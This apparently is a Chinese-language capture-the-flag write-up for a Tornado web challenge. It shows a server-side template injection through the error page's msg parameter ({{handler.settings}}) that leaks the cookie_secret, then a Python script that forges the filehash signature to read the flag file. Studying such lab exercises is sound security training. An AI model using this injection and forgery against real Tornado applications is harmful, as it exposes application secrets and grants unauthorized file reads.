进入靶机,页面为

打开/flag.txt,提示

flag in /fllllllllllllag

打开/welcome.txt,提示

render

tornado中render为渲染作用

打开/hints.txt,提示

md5(cookie_secret+md5(filename))

提示的是filehash参数的计算方法

通过上面三个的分析,可以得出,我们需要构建一个url为

http://61.147.171.105:62044/file?
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))

fllllllllllllag的md5值为594cb6af684ad354b4a59ac496473990

接下来要找到cookie_secret


cookie_secret获取方法如下:

render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings[“cookie”]) }}

这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

原文链接:https://blog.csdn.net/yuanxu8877/article/details/128079863


首先我们url输入http://61.147.171.105:62044/file?filename=/flag.txt&filehash= 进入错误页面

输入http://61.147.171.105:62044/error?msg={{1}}

页面返回1,说明存在漏洞,在此处直接注入

url输入http://61.147.171.105:62044/error?msg={{handler.settings}}

回显

得到cookie_secret值:4beb94e3-3a69-4960-92ab-f83221330eec

编写脚本获取filehash

import hashlib
def get_md5(content):
md5 = hashlib.md5()
md5.update(content.encode('utf-8'))
return md5.hexdigest()
filename="/fllllllllllllag"
cookie_secret="4beb94e3-3a69-4960-92ab-f83221330eec"
no_md5_filehash=cookie_secret+get_md5(filename)
filehash=get_md5(no_md5_filehash)
print(filehash)

得到filehash:835b3dbf7a8aabcf5b566e0c276b610c

payload:http://61.147.171.105:62044/file?filename=/fllllllllllllag&filehash=835b3dbf7a8aabcf5b566e0c276b610c

得到flag:flag{3f39aea39db345769397ae895edb9c70}